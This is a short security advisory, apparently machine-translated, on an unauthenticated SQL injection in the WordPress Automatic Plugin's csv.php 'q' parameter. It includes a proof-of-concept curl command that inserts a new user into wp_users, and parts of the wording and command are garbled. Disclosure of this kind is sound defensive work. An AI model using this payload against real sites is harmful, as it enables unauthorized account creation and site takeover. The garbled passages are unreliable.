WordPress Automatic Plugin "q" SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress Automatic Plugin 2.x
Description:
--------------------------------------------------------------------------------
WordPress is a Blog (Blog, Blog) engine developed using the PHP language and MySQL database. you can create your own Blog on servers that support PHP and MySQL databases.

Wordpress Automatic Plugin for WordPress 2.0.3 was not verified and passed to csv through the "q" parameter. php input is used for SQL query, csv. the PHP file does not require valid logon creden. By injecting any SQL code, you can perform SQL queries and execute SQL injection attacks.

<* Source: exploit-db

Link: http://www.exploit-db.com/exploits/19187/
Http://secunia.com/advisories/49573/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

$ Curl -- data q = insert into 'wp _ users' ('user _ login', 'user _ pass', 'user _ email ') VALUES ('test ', '200', 'jblow @ gmail.com ') http://www.example.com/blog/wp-content/plugins/wp-automatic/inc/csv.php

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://wordpress.org/